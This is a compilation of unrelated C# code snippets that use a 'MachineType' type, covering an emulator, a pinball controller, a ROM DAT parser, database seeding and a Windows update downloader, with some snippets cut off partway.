Example #1
0
        public OutProcessHost(MachineType type, string currentDirectory, string path)
        {
            if (currentDirectory == null)
                currentDirectory = Directory.GetCurrentDirectory();

            string lrpHostPath = null;
            if (type == MachineType.IMAGE_FILE_MACHINE_I386)
            {
                this.isPtr32Bit = true;
                lrpHostPath = FilesResolver.LrpX86HostPath;
            }
            else if (type == MachineType.IMAGE_FILE_MACHINE_AMD64)
            {
                this.isPtr32Bit = false;
                lrpHostPath = FilesResolver.LrpX64HostPath;
            }
            else
            {
                var message = string.Format("Unsupported machine type = {0}", type);
                throw new ArgumentException(message, "type");
            }

            this.pipId = Guid.NewGuid().ToString();

            using (var semaphore = new Semaphore(0, 1, this.pipId))
            {
                var args = string.Format("\"{0}\" {1} \"{2}\"", currentDirectory, this.pipId, path);
                var process = Process.Start(lrpHostPath, args);
                process.Dispose();
                if (!semaphore.WaitOne(PipeWaitingTimeout))
                    throw new TimeoutException("Timeout of LRP host waiting has been reached.");
            }

            var pipeName = @"\\.\pipe\" + this.pipId;

            if (!WinAPI.WaitNamedPipe(pipeName, PipeWaitingTimeout))
                throw new TimeoutException("Timeout of pipe waiting has been reached.");

            this.pipe = WinAPI.CreateFile(pipeName, WinAPI.GENERIC_READ | WinAPI.GENERIC_WRITE, 0, IntPtr.Zero, WinAPI.OPEN_EXISTING, 0, IntPtr.Zero);
            if (this.pipe == WinAPI.INVALID_HANDLE)
                throw new Exception("Couldn't open pipe");

            using (var transaction = new Transaction(this))
            {
                var buffer = this.ReadBuffer();
                var isValid = buffer.ReadBoolean();
                if (isValid)
                {
                    this.signature = buffer.ReadAString();
                }
                else
                {
                    var error = buffer.ReadInt32();
                    var message = buffer.ReadAString();
                    throw new Win32Exception(error, message);
                }

                transaction.Commit();
            }
        }
 internal Machine(MachineType machineType,Product output, List<Production> productTimes)
 {
     this.machineType = machineType;
     this.output = output;
     this.ProductTimes = productTimes;
     AcumalatedTime = 0;
 }
Example #3
0
        public ProcDevice(MachineType machineType)
        {
            ProcHandle = PinProc.PRCreate(machineType);

            if (ProcHandle == IntPtr.Zero)
                throw new InvalidOperationException(PinProc.PRGetLastErrorText());
        }
 public static Machine AddMachine(MachineType type, String name, int calories)
 {
     //  Add a new Machine
     Machine newMachine = new Machine { Name = name, Type = type, Calories = calories};
     Data.Instance.db.MachineItems.InsertOnSubmit(newMachine);
     Data.Instance.db.SubmitChanges();
     return newMachine;
 }
        private IList<string> targets = new List<string>();    // ;

        public Machine(string name, double attackPoints, double defensePoints, double healthPoints, MachineType type)
        {
            this.Name = name;                           // this.Targets = new List<String>(Targets);
            this.AttackPoints = attackPoints;
            this.DefensePoints = defensePoints;
            this.HealthPoints = healthPoints;
            this.machineType = type;
        }
Example #6
0
        public NtProcess(int pid)
        {
            _processId = pid;
              _isBeingDebugged = false;
              _machineType = MachineType.Unknown;
              _commandLine = null;
              _nativeProcessImagePath = null;
              _win32ProcessImagePath = null;
              _isValid = false;

              LoadProcessInfo();
        }
Example #7
0
 protected static Cpu GetCpu(MachineType machine)
 {
     switch (machine)
     {
         case MachineType.I386:
             return Cpu.All;
         case MachineType.X64:
             return Cpu.X64;
         default:
             return Cpu.Unknown;
     }
 }
        /// <summary>
        /// Creates a machine from parameters and adds it to the database.
        /// </summary>
        /// <returns>Bool reporting whether the operation was successful or not</returns>
        public static bool AddMachine(MachineType type)
        {
            bool? result = null;
            MachineEntry entry = new MachineEntry(type);
            try
            {
                Database.AddMachine(entry);
                result = true;
            }
            catch (Exception)
            {
                result = false;
            }

            return (bool)result;
        }
Example #9
0
        public ProcDevice(MachineType machineType, ILogger logger)
        {
            this.Logger = logger;

            Logger.Log("Initializing P-ROC device...");

            dmdMapping = new byte[dmdMappingSize];
            for (int i = 0; i < dmdMappingSize; i++)
                dmdMapping[i] = (byte)i;

            g_machineType = machineType;

            dmdConfigured = false;

            ProcHandle = PinProc.PRCreate(machineType);
            if (ProcHandle == IntPtr.Zero)
                throw new InvalidOperationException(PinProc.PRGetLastErrorText());
        }
        static void DisplayMachineType(MachineType type)
        {
            switch (type)
            {
                case MachineType.IMAGE_FILE_MACHINE_I386:
                    MessageBox.Show("Assembly is 32-bit.");
                    break;

                case MachineType.IMAGE_FILE_MACHINE_AMD64:
                case MachineType.IMAGE_FILE_MACHINE_IA64:
                    MessageBox.Show("Assembly is 64-bit.");
                    break;

                default:
                    MessageBox.Show("Assembly is unknown.");
                    break;
            }
        }
Example #11
0
        /// <summary>
        /// 获取配置
        /// </summary>
        public static List<string> GetConfig(MachineType machineType, int box)
        {
            string prefix = string.Empty;
            switch (machineType)
            {
                case MachineType.金码:
                    prefix = "jm-";
                    break;
                case MachineType.骏鹏:
                    prefix = "jp-";
                    break;
            }
            string fileName = prefix + "box" + box.ToString() + ".config";

            List<string> result = new List<string>();
            lock (_lock)
            {
                try
                {
                    using (FileStream fs = new FileStream("config/" + fileName, FileMode.Open, FileAccess.Read))
                    {
                        using (StreamReader sr = new StreamReader(fs))
                        {
                            while (!sr.EndOfStream)
                            {
                                string line = sr.ReadLine();
                                if (!(line.IndexOf("#") == 0))
                                {
                                    result.Add(line);
                                }
                            }
                        }
                        fs.Close();
                    }
                }
                catch (Exception ex)
                {
                    FileLogger.LogError("读取货柜配置错误,请检查货柜配置");
                }
            }

            return result;
        }
Example #12
0
        public BaseLinker(ulong baseAddress, Endianness endianness, MachineType machineType, bool emitSymbols, LinkerFormatType linkerFormatType)
        {
            LinkerSections = new LinkerSection[4];

            BaseAddress = baseAddress;
            Endianness = endianness;
            MachineType = machineType;
            EmitSymbols = emitSymbols;

            elfLinker = new ElfLinker(this, LinkerFormatType);

            BaseFileOffset = elfLinker.BaseFileOffset;
            SectionAlignment = elfLinker.SectionAlignment;

            AddSection(new LinkerSection(SectionKind.Text, SectionAlignment));
            AddSection(new LinkerSection(SectionKind.Data, SectionAlignment));
            AddSection(new LinkerSection(SectionKind.ROData, SectionAlignment));
            AddSection(new LinkerSection(SectionKind.BSS, SectionAlignment));
        }
 public Bios7800(MachineType machineType)
 {
     switch (machineType) {
         case MachineType.A7800NTSC:
             if (LoadBios("0763f1ffb006ddbe32e52d497ee848ae")) {
             }
             else if (LoadBios("b32526ea179dc9ab9b2e5f8a2662b298")) {
                 Trace.WriteLine("WARNING: Using incorrect, but widely used, 7800 NTSC BIOS");
             }
             else {
                 throw new Exception("7800 NTSC BIOS not found in ROMDirectory: " + EMU7800App.Instance.Settings.ROMDirectory);
             }
             break;
         case MachineType.A7800PAL:
             LoadBios("397bb566584be7b9764e7a68974c4263");
             break;
         default:
             throw new Exception("Invalid MachineType");
     }
 }
Example #14
0
        public BasicGame(MachineType machine_type, ILogger logger)
            : base(machine_type, logger)
        {
            FontManager manager = new FontManager(@"fonts\");
            if (machine_type == MachineType.WPCAlphanumeric)
            {
                // Create alphanumeric display
            }
            else
            {
                this.dmd = new DisplayController(this, 128, 32, manager.font_named("Font07x5.dmd"));
            }

            this.score_display = new ScoreDisplay(this, 50);

            // The below code is for showing frames on the desktop
            //if (this.dmd != null) this.dmd.frame_handlers.Add(new DMDFrameHandler(this.set_last_frame));

            // Set up key map configs
        }
Example #15
0
        private void LoadProcessInfo()
        {
            ProcessAccessFlags flags;
              try {
            _isValid = false;
            using (SafeProcessHandle handle = OpenProcessHandle(out flags)) {
              if (handle.IsInvalid)
            return;

              _nativeProcessImagePath = QueryProcessImageName(
              handle,
              ProcessQueryImageNameMode.NativeSystemFormat);
              _win32ProcessImagePath = QueryProcessImageName(
              handle,
              ProcessQueryImageNameMode.Win32);

              // If our extension is running in a 32-bit process (which it is), then attempts to access
              // files in C:\windows\system (and a few other files) will redirect to
              // C:\Windows\SysWOW64 and we will mistakenly think that the image file is a 32-bit
              // image.  The way around this is to use a native system format path, of the form:
              //    \\?\GLOBALROOT\Device\HarddiskVolume0\Windows\System\foo.dat
              // NativeProcessImagePath gives us the full process image path in the desired format.
              _machineType = ProcessUtility.GetMachineType(NativeProcessImagePath);

              MachineType hostProcessArch = (IntPtr.Size == 4) ? MachineType.X86 : MachineType.X64;
              // If the extension is 32-bit and the target process is 64-bit, we have to use Wow64-
              // specific functions to read the memory of the target process.
              _isValid = (_machineType == hostProcessArch)
              ? LoadProcessInfoNative(handle, flags)
              : LoadProcessInfoWow64(handle, flags);
            }
              } catch (Exception) {
            _isValid = false;
              }
        }
        string GetMachineTypeString(MachineType machineType, bool verbose)
        {
            string mts = "";

            switch (machineType)
            {
                case MachineType.A2600NTSC:
                    mts = verbose ? "VCS (2600) NTSC (N.American)" : "VCS";
                    break;
                case MachineType.A2600PAL:
                    mts = verbose ? "VCS (2600) PAL (European)" : "VCS PAL";
                    break;
                case MachineType.A7800NTSC:
                    mts = verbose ? "ProSystem (7800) NTSC (N.American)" : "ProSystem";
                    break;
                case MachineType.A7800PAL:
                    mts = verbose ? "ProSystem (7800) PAL (European)" : "ProSystem PAL";
                    break;
            }

            return mts;
        }
Example #17
0
        public static void Initialize(SharingContext _modelContext)
        {
            _modelContext.Database.EnsureCreated();


            var mediumAction1 = new MediumAction()
            {
                Medium = "Ground",
            };
            var mediumAction2 = new MediumAction()
            {
                Medium = "Air",
            };
            var mediumAction3 = new MediumAction()
            {
                Medium = "Air-Ground",
            };


            //if (!_modelContext.MediumActions.Any())
            //{
            //    _modelContext.MediumActions.Add(mediumAction1);
            //    _modelContext.MediumActions.Add(mediumAction2);
            //    _modelContext.MediumActions.Add(mediumAction3);
            //}

            var applicationMode1 = new ApplicationMode()
            {
                Mode = "Entertainment"
            };

            if (!_modelContext.ApplicationModes.Any())
            {
                _modelContext.ApplicationModes.Add(applicationMode1);
            }

            var machineType1 = new MachineType()
            {
                ApplicationMode = applicationMode1,
                MediumAction    = mediumAction1
            };
            var machineType2 = new MachineType()
            {
                ApplicationMode = applicationMode1,
                MediumAction    = mediumAction2
            };
            var machineType3 = new MachineType()
            {
                ApplicationMode = applicationMode1,
                MediumAction    = mediumAction3
            };

            if (!_modelContext.MachineTypes.Any())
            {
                _modelContext.MachineTypes.Add(machineType1);
                _modelContext.MachineTypes.Add(machineType2);
                _modelContext.MachineTypes.Add(machineType3);
            }

            var location1 = new Location()
            {
                Continent = "Europe",
                Country   = "Germany",
                City      = "Berlin",
                House     = "11n",
                Street    = "Street"
            };

            if (!_modelContext.Locations.Any())
            {
                _modelContext.Locations.Add(location1);
            }

            var characteristic1 = new Characteristic()
            {
                Accelaration = 3,
                ActionRadius = 50,
                Speed        = 34,
                Weight       = 3,
                WorkTime     = new DateTime().AddHours(2)
            };

            if (!_modelContext.Characteristics.Any())
            {
                _modelContext.Characteristics.Add(characteristic1);
            }

            var machine2 = new CloudResource()
            {
                Discount       = 9.5m,
                IsAvailable    = true,
                MachineType    = machineType2,
                Name           = "Machine can fly",
                Price          = 12.5m,
                Characteristic = characteristic1
            };

            var machine1 = new CloudResource()
            {
                Discount       = 9.5m,
                IsAvailable    = true,
                MachineType    = machineType1,
                Name           = "Machine with wheels",
                Price          = 15.5m,
                Characteristic = characteristic1
            };
            var machine3 = new CloudResource()
            {
                Discount       = 9.5m,
                IsAvailable    = true,
                MachineType    = machineType3,
                Name           = "Machine with wheels can fly",
                Price          = 15.5m,
                Characteristic = characteristic1
            };

            if (!_modelContext.Machines.Any())
            {
                _modelContext.Machines.Add(machine3);
                _modelContext.Machines.Add(machine1);
                _modelContext.Machines.Add(machine2);
            }

            var renter1 = new Customer()
            {
                FirstName = "1",
                LastName  = "1",
                Money     = 300,
                UserName  = "******"
            };

            if (!_modelContext.Renters.Any())
            {
                _modelContext.Renters.Add(renter1);
            }

            var renteredMachine1 = new RenteredResource()
            {
                ActivationCode = "1",
                FinishDate     = DateTime.Now.AddDays(30),
                StartDate      = DateTime.Now,
                CloudResource  = machine1,
                Price          = machine1.Price - machine1.Discount,
                Customer       = renter1
            };

            var renteredMachine2 = new RenteredResource()
            {
                ActivationCode = "2",
                FinishDate     = DateTime.Now.AddDays(30),
                StartDate      = DateTime.Now,
                CloudResource  = machine2,
                Price          = machine2.Price - machine2.Discount,
                Customer       = renter1
            };

            if (!_modelContext.RenteredMachines.Any())
            {
                _modelContext.RenteredMachines.Add(renteredMachine1);
                _modelContext.RenteredMachines.Add(renteredMachine2);
            }

            _modelContext.SaveChanges();
        }
Example #18
0
        static Tuple <List <string>, List <string> > SearchNativeDll(List <string> dllname, List <string> searchpath, MachineType mt)
        {
            bool          found       = false;
            List <string> dllrpath    = new List <string>();
            List <string> dllnotfound = new List <string>();

            foreach (string dll in dllname)
            {
                found = false;
                foreach (string path in searchpath)
                {
                    string rpath = Path.Combine(path, dll);
                    if (File.Exists(rpath))
                    {
                        PEModel pemd = new PEModel();
                        pemd.LoadPE(rpath);
                        if (pemd.Arch == mt)
                        {
                            found = true;
                            dllrpath.Add(rpath);
                            break;
                        }
                    }
                }
                if (!found)
                {
                    dllnotfound.Add(dll);
                }
            }
            return(new Tuple <List <string>, List <string> >(dllrpath, dllnotfound));
        }
Example #19
0
        private IList <string> targets = new List <string>();    // ;

        public Machine(string name, double attackPoints, double defensePoints, double healthPoints, MachineType type)
        {
            this.Name          = name;                  // this.Targets = new List<String>(Targets);
            this.AttackPoints  = attackPoints;
            this.DefensePoints = defensePoints;
            this.HealthPoints  = healthPoints;
            this.machineType   = type;
        }
Example #20
0
        private static async Task ProcessUpdateAsync(UpdateData update, string pOutputFolder, MachineType MachineType, string Language = "", string Edition = "", bool WriteMetadata = true)
        {
            HashSet <CompDBXmlClass.PayloadItem> payloadItems       = new HashSet <CompDBXmlClass.PayloadItem>();
            HashSet <CompDBXmlClass.PayloadItem> bannedPayloadItems = new HashSet <CompDBXmlClass.PayloadItem>();
            HashSet <CompDBXmlClass.CompDB>      specificCompDBs    = new HashSet <CompDBXmlClass.CompDB>();

            string buildstr = "";
            IEnumerable <string> languages = null;

            int returnCode = 0;
            IEnumerable <CExtendedUpdateInfoXml.File> filesToDownload = null;

            bool getSpecific         = !string.IsNullOrEmpty(Language) && !string.IsNullOrEmpty(Edition);
            bool getSpecificLanguage = !string.IsNullOrEmpty(Language) && string.IsNullOrEmpty(Edition);

            Logging.Log("Gathering update metadata...");

            var compDBs = await update.GetCompDBsAsync();

            await Task.WhenAll(
                Task.Run(async() => buildstr  = await update.GetBuildStringAsync()),
                Task.Run(async() => languages = await update.GetAvailableLanguagesAsync()));

            buildstr = buildstr ?? "";

            CompDBXmlClass.Package editionPackPkg = compDBs.GetEditionPackFromCompDBs();
            if (editionPackPkg != null)
            {
                string editionPkg = await update.DownloadFileFromDigestAsync(editionPackPkg.Payload.PayloadItem.PayloadHash);

                var plans = await Task.WhenAll(languages.Select(x => update.GetTargetedPlanAsync(x, editionPkg)));

                foreach (var plan in plans)
                {
                    Logging.Log("");
                    Logging.Log("Editions available for language: " + plan.LanguageCode);
                    plan.EditionTargets.PrintAvailablePlan();
                }
            }

            string name         = $"{buildstr.Replace(" ", ".").Replace("(", "").Replace(")", "")}_{MachineType.ToString().ToLower()}fre_{update.Xml.UpdateIdentity.UpdateID.Split("-")[^1]}";
 public ProductionTask(TimeSpan duration, MachineType machineTypeRequired)
 {
     Duration = duration;
     MachineTypeRequired = machineTypeRequired;
 }
Example #22
0
        /// <summary>
        /// Read machine information
        /// </summary>
        /// <param name="reader">XmlReader representing a machine block</param>
        /// <param name="filename">Name of the file to be parsed</param>
        /// <param name="sysid">System ID for the DAT</param>
        /// <param name="srcid">Source ID for the DAT</param>
        /// <param name="keep">True if full pathnames are to be kept, false otherwise (default)</param>
        /// <param name="clean">True if game names are sanitized, false otherwise (default)</param>
        /// <param name="remUnicode">True if we should remove non-ASCII characters from output, false otherwise (default)</param>
        private void ReadMachine(
            XmlReader reader,

            // Standard Dat parsing
            string filename,
            int sysid,
            int srcid,

            // Miscellaneous
            bool keep,
            bool clean,
            bool remUnicode)
        {
            // If we have an empty machine, skip it
            if (reader == null)
            {
                return;
            }

            // Otherwise, add what is possible
            reader.MoveToContent();

            string key           = "";
            string temptype      = reader.Name;
            bool   containsItems = false;

            // Create a new machine
            MachineType machineType = MachineType.NULL;

            if (Utilities.GetYesNo(reader.GetAttribute("isbios")) == true)
            {
                machineType |= MachineType.Bios;
            }
            if (Utilities.GetYesNo(reader.GetAttribute("isdevice")) == true)
            {
                machineType |= MachineType.Device;
            }
            if (Utilities.GetYesNo(reader.GetAttribute("ismechanical")) == true)
            {
                machineType |= MachineType.Mechanical;
            }

            Machine machine = new Machine
            {
                Name        = reader.GetAttribute("name"),
                Description = reader.GetAttribute("name"),
                SourceFile  = reader.GetAttribute("sourcefile"),
                Runnable    = Utilities.GetYesNo(reader.GetAttribute("runnable")),

                Comment = "",

                CloneOf     = reader.GetAttribute("cloneof") ?? "",
                RomOf       = reader.GetAttribute("romof") ?? "",
                SampleOf    = reader.GetAttribute("sampleof") ?? "",
                Devices     = new List <string>(),
                SlotOptions = new List <string>(),

                MachineType = (machineType == MachineType.NULL ? MachineType.None : machineType),
            };

            while (!reader.EOF)
            {
                // We only want elements
                if (reader.NodeType != XmlNodeType.Element)
                {
                    reader.Read();
                    continue;
                }

                // Get the roms from the machine
                switch (reader.Name)
                {
                case "description":
                    machine.Description = reader.ReadElementContentAsString();
                    break;

                case "year":
                    machine.Year = reader.ReadElementContentAsString();
                    break;

                case "manufacturer":
                    machine.Manufacturer = reader.ReadElementContentAsString();
                    break;

                case "biosset":
                    containsItems = true;

                    DatItem biosset = new BiosSet
                    {
                        Name        = reader.GetAttribute("name"),
                        Description = reader.GetAttribute("description"),
                        Default     = Utilities.GetYesNo(reader.GetAttribute("default")),

                        SystemID = sysid,
                        System   = filename,
                        SourceID = srcid,
                    };

                    biosset.CopyMachineInformation(machine);

                    // Now process and add the rom
                    key = ParseAddHelper(biosset, clean, remUnicode);

                    reader.Read();
                    break;

                case "rom":
                    containsItems = true;

                    DatItem rom = new Rom
                    {
                        Name       = reader.GetAttribute("name"),
                        Bios       = reader.GetAttribute("bios"),
                        Size       = Utilities.GetSize(reader.GetAttribute("size")),
                        CRC        = Utilities.CleanHashData(reader.GetAttribute("crc"), Constants.CRCLength),
                        MD5        = Utilities.CleanHashData(reader.GetAttribute("md5"), Constants.MD5Length),
                        SHA1       = Utilities.CleanHashData(reader.GetAttribute("sha1"), Constants.SHA1Length),
                        SHA256     = Utilities.CleanHashData(reader.GetAttribute("sha256"), Constants.SHA256Length),
                        SHA384     = Utilities.CleanHashData(reader.GetAttribute("sha384"), Constants.SHA384Length),
                        SHA512     = Utilities.CleanHashData(reader.GetAttribute("sha512"), Constants.SHA512Length),
                        MergeTag   = reader.GetAttribute("merge"),
                        Region     = reader.GetAttribute("region"),
                        Offset     = reader.GetAttribute("offset"),
                        ItemStatus = Utilities.GetItemStatus(reader.GetAttribute("status")),
                        Optional   = Utilities.GetYesNo(reader.GetAttribute("optional")),

                        SystemID = sysid,
                        System   = filename,
                        SourceID = srcid,
                    };

                    rom.CopyMachineInformation(machine);

                    // Now process and add the rom
                    key = ParseAddHelper(rom, clean, remUnicode);

                    reader.Read();
                    break;

                case "disk":
                    containsItems = true;

                    DatItem disk = new Disk
                    {
                        Name       = reader.GetAttribute("name"),
                        MD5        = Utilities.CleanHashData(reader.GetAttribute("md5"), Constants.MD5Length),
                        SHA1       = Utilities.CleanHashData(reader.GetAttribute("sha1"), Constants.SHA1Length),
                        SHA256     = Utilities.CleanHashData(reader.GetAttribute("sha256"), Constants.SHA256Length),
                        SHA384     = Utilities.CleanHashData(reader.GetAttribute("sha384"), Constants.SHA384Length),
                        SHA512     = Utilities.CleanHashData(reader.GetAttribute("sha512"), Constants.SHA512Length),
                        MergeTag   = reader.GetAttribute("merge"),
                        Region     = reader.GetAttribute("region"),
                        Index      = reader.GetAttribute("index"),
                        Writable   = Utilities.GetYesNo(reader.GetAttribute("writable")),
                        ItemStatus = Utilities.GetItemStatus(reader.GetAttribute("status")),
                        Optional   = Utilities.GetYesNo(reader.GetAttribute("optional")),

                        SystemID = sysid,
                        System   = filename,
                        SourceID = srcid,
                    };

                    disk.CopyMachineInformation(machine);

                    // Now process and add the rom
                    key = ParseAddHelper(disk, clean, remUnicode);

                    reader.Read();
                    break;

                case "device_ref":
                    string device_ref_name = reader.GetAttribute("name");
                    if (!machine.Devices.Contains(device_ref_name))
                    {
                        machine.Devices.Add(device_ref_name);
                    }

                    reader.Read();
                    break;

                case "sample":
                    containsItems = true;

                    DatItem samplerom = new Sample
                    {
                        Name = reader.GetAttribute("name"),

                        SystemID = sysid,
                        System   = filename,
                        SourceID = srcid,
                    };

                    samplerom.CopyMachineInformation(machine);

                    // Now process and add the rom
                    key = ParseAddHelper(samplerom, clean, remUnicode);

                    reader.Read();
                    break;

                case "chip":
                    // string chip_name = reader.GetAttribute("name");
                    // string chip_tag = reader.GetAttribute("tag");
                    // string chip_type = reader.GetAttribute("type"); // (cpu|audio)
                    // string chip_clock = reader.GetAttribute("clock");

                    reader.Read();
                    break;

                case "display":
                    // string display_tag = reader.GetAttribute("tag");
                    // string display_type = reader.GetAttribute("type"); // (raster|vector|lcd|svg|unknown)
                    // string display_rotate = reader.GetAttribute("rotate"); // (0|90|180|270)
                    // bool? display_flipx = Utilities.GetYesNo(reader.GetAttribute("flipx"));
                    // string display_width = reader.GetAttribute("width");
                    // string display_height = reader.GetAttribute("height");
                    // string display_refresh = reader.GetAttribute("refresh");
                    // string display_pixclock = reader.GetAttribute("pixclock");
                    // string display_htotal = reader.GetAttribute("htotal");
                    // string display_hbend = reader.GetAttribute("hbend");
                    // string display_hbstart = reader.GetAttribute("hbstart");
                    // string display_vtotal = reader.GetAttribute("vtotal");
                    // string display_vbend = reader.GetAttribute("vbend");
                    // string display_vbstart = reader.GetAttribute("vbstart");

                    reader.Read();
                    break;

                case "sound":
                    // string sound_channels = reader.GetAttribute("channels");

                    reader.Read();
                    break;

                case "condition":
                    // string condition_tag = reader.GetAttribute("tag");
                    // string condition_mask = reader.GetAttribute("mask");
                    // string condition_relation = reader.GetAttribute("relation"); // (eq|ne|gt|le|lt|ge)
                    // string condition_value = reader.GetAttribute("value");

                    reader.Read();
                    break;

                case "input":
                    // bool? input_service = Utilities.GetYesNo(reader.GetAttribute("service"));
                    // bool? input_tilt = Utilities.GetYesNo(reader.GetAttribute("tilt"));
                    // string input_players = reader.GetAttribute("players");
                    // string input_coins = reader.GetAttribute("coins");

                    // // While the subtree contains <control> elements...
                    // string control_type = reader.GetAttribute("type");
                    // string control_player = reader.GetAttribute("player");
                    // string control_buttons = reader.GetAttribute("buttons");
                    // string control_regbuttons = reader.GetAttribute("regbuttons");
                    // string control_minimum = reader.GetAttribute("minimum");
                    // string control_maximum = reader.GetAttribute("maximum");
                    // string control_sensitivity = reader.GetAttribute("sensitivity");
                    // string control_keydelta = reader.GetAttribute("keydelta");
                    // bool? control_reverse = Utilities.GetYesNo(reader.GetAttribute("reverse"));
                    // string control_ways = reader.GetAttribute("ways");
                    // string control_ways2 = reader.GetAttribute("ways2");
                    // string control_ways3 = reader.GetAttribute("ways3");

                    reader.Skip();
                    break;

                case "dipswitch":
                    // string dipswitch_name = reader.GetAttribute("name");
                    // string dipswitch_tag = reader.GetAttribute("tag");
                    // string dipswitch_mask = reader.GetAttribute("mask");

                    // // While the subtree contains <diplocation> elements...
                    // string diplocation_name = reader.GetAttribute("name");
                    // string diplocation_number = reader.GetAttribute("number");
                    // bool? diplocation_inverted = Utilities.GetYesNo(reader.GetAttribute("inverted"));

                    // // While the subtree contains <dipvalue> elements...
                    // string dipvalue_name = reader.GetAttribute("name");
                    // string dipvalue_value = reader.GetAttribute("value");
                    // bool? dipvalue_default = Utilities.GetYesNo(reader.GetAttribute("default"));

                    reader.Skip();
                    break;

                case "configuration":
                    // string configuration_name = reader.GetAttribute("name");
                    // string configuration_tag = reader.GetAttribute("tag");
                    // string configuration_mask = reader.GetAttribute("mask");

                    // // While the subtree contains <conflocation> elements...
                    // string conflocation_name = reader.GetAttribute("name");
                    // string conflocation_number = reader.GetAttribute("number");
                    // bool? conflocation_inverted = Utilities.GetYesNo(reader.GetAttribute("inverted"));

                    // // While the subtree contains <confsetting> elements...
                    // string confsetting_name = reader.GetAttribute("name");
                    // string confsetting_value = reader.GetAttribute("value");
                    // bool? confsetting_default = Utilities.GetYesNo(reader.GetAttribute("default"));

                    reader.Skip();
                    break;

                case "port":
                    // string port_tag = reader.GetAttribute("tag");

                    // // While the subtree contains <analog> elements...
                    // string analog_mask = reader.GetAttribute("mask");

                    reader.Skip();
                    break;

                case "adjuster":
                    // string adjuster_name = reader.GetAttribute("name");
                    // bool? adjuster_default = Utilities.GetYesNo(reader.GetAttribute("default"));

                    // // For the one possible <condition> element...
                    // string condition_tag = reader.GetAttribute("tag");
                    // string condition_mask = reader.GetAttribute("mask");
                    // string condition_relation = reader.GetAttribute("relation"); // (eq|ne|gt|le|lt|ge)
                    // string condition_value = reader.GetAttribute("value");

                    reader.Skip();
                    break;

                case "driver":
                    // string driver_status = reader.GetAttribute("status"); // (good|imperfect|preliminary)
                    // string driver_emulation = reader.GetAttribute("emulation"); // (good|imperfect|preliminary)
                    // string driver_cocktail = reader.GetAttribute("cocktail"); // (good|imperfect|preliminary)
                    // string driver_savestate = reader.GetAttribute("savestate"); // (supported|unsupported)

                    reader.Read();
                    break;

                case "feature":
                    // string feature_type = reader.GetAttribute("type"); // (protection|palette|graphics|sound|controls|keyboard|mouse|microphone|camera|disk|printer|lan|wan|timing)
                    // string feature_status = reader.GetAttribute("status"); // (unemulated|imperfect)
                    // string feature_overall = reader.GetAttribute("overall"); // (unemulated|imperfect)

                    reader.Read();
                    break;

                case "device":
                    // string device_type = reader.GetAttribute("type");
                    // string device_tag = reader.GetAttribute("tag");
                    // string device_fixed_image = reader.GetAttribute("fixed_image");
                    // string device_mandatory = reader.GetAttribute("mandatory");
                    // string device_interface = reader.GetAttribute("interface");

                    // // For the one possible <instance> element...
                    // string instance_name = reader.GetAttribute("name");
                    // string instance_briefname = reader.GetAttribute("briefname");

                    // // While the subtree contains <extension> elements...
                    // string extension_name = reader.GetAttribute("name");

                    reader.Skip();
                    break;

                case "slot":
                    // string slot_name = reader.GetAttribute("name");
                    ReadSlot(reader.ReadSubtree(), machine);

                    // Skip the slot now that we've processed it
                    reader.Skip();
                    break;

                case "softwarelist":
                    // string softwarelist_name = reader.GetAttribute("name");
                    // string softwarelist_status = reader.GetAttribute("status"); // (original|compatible)
                    // string softwarelist_filter = reader.GetAttribute("filter");

                    reader.Read();
                    break;

                case "ramoption":
                    // string ramoption_default = reader.GetAttribute("default");

                    reader.Read();
                    break;

                default:
                    reader.Read();
                    break;
                }
            }

            // If no items were found for this machine, add a Blank placeholder
            if (!containsItems)
            {
                Blank blank = new Blank()
                {
                    SystemID = sysid,
                    System   = filename,
                    SourceID = srcid,
                };
                blank.CopyMachineInformation(machine);

                // Now process and add the rom
                ParseAddHelper(blank, clean, remUnicode);
            }
        }
        public ActionResult Edit(int id)
        {
            MachineType obj = GetById(id);

            return(View(obj));
        }
 public JsonResult Update(MachineType machineType)
 {
     return(Json(machineTypeDB.Insert(machineType), JsonRequestBehavior.AllowGet));
 }
Example #25
0
 public bool Contains(MachineType machineType)
 {
     return(base.Contains(machineType));
 }
Example #26
0
 public Environment this[MachineType machineType]
 {
     get { return((Environment) base[machineType]); }
     set { base[machineType] = value; }
 }
Example #27
0
        /// <summary>
        /// Read game/machine information
        /// </summary>
        /// <param name="reader">XmlReader to use to parse the machine</param>
        /// <param name="dirs">List of dirs to prepend to the game name</param>
        /// <param name="filename">Name of the file to be parsed</param>
        /// <param name="sysid">System ID for the DAT</param>
        /// <param name="srcid">Source ID for the DAT</param>
        /// <param name="keep">True if full pathnames are to be kept, false otherwise (default)</param>
        /// <param name="clean">True if game names are sanitized, false otherwise (default)</param>
        /// <param name="remUnicode">True if we should remove non-ASCII characters from output, false otherwise (default)</param>
        private void ReadMachine(
            XmlReader reader,
            List <string> dirs,

            // Standard Dat parsing
            string filename,
            int sysid,
            int srcid,

            // Miscellaneous
            bool keep,
            bool clean,
            bool remUnicode)
        {
            // If we have an empty machine, skip it
            if (reader == null)
            {
                return;
            }

            // Otherwise, add what is possible
            reader.MoveToContent();

            string key           = "";
            string temptype      = reader.Name;
            bool   containsItems = false;

            // Create a new machine
            MachineType machineType = MachineType.NULL;

            if (Utilities.GetYesNo(reader.GetAttribute("isbios")) == true)
            {
                machineType |= MachineType.Bios;
            }
            if (Utilities.GetYesNo(reader.GetAttribute("isdevice")) == true)             // Listxml-specific, used by older DATs
            {
                machineType |= MachineType.Device;
            }
            if (Utilities.GetYesNo(reader.GetAttribute("ismechanical")) == true)             // Listxml-specific, used by older DATs
            {
                machineType |= MachineType.Mechanical;
            }

            string  dirsString = (dirs != null && dirs.Count() > 0 ? string.Join("/", dirs) + "/" : "");
            Machine machine    = new Machine
            {
                Name        = dirsString + reader.GetAttribute("name"),
                Description = dirsString + reader.GetAttribute("name"),
                SourceFile  = reader.GetAttribute("sourcefile"),
                Board       = reader.GetAttribute("board"),
                RebuildTo   = reader.GetAttribute("rebuildto"),
                Runnable    = Utilities.GetYesNo(reader.GetAttribute("runnable")),              // Listxml-specific, used by older DATs

                Comment = "",

                CloneOf  = reader.GetAttribute("cloneof") ?? "",
                RomOf    = reader.GetAttribute("romof") ?? "",
                SampleOf = reader.GetAttribute("sampleof") ?? "",

                MachineType = (machineType == MachineType.NULL ? MachineType.None : machineType),
            };

            if (Type == "SuperDAT" && !keep)
            {
                string tempout = Regex.Match(machine.Name, @".*?\\(.*)").Groups[1].Value;
                if (!String.IsNullOrWhiteSpace(tempout))
                {
                    machine.Name = tempout;
                }
            }

            while (!reader.EOF)
            {
                // We only want elements
                if (reader.NodeType != XmlNodeType.Element)
                {
                    reader.Read();
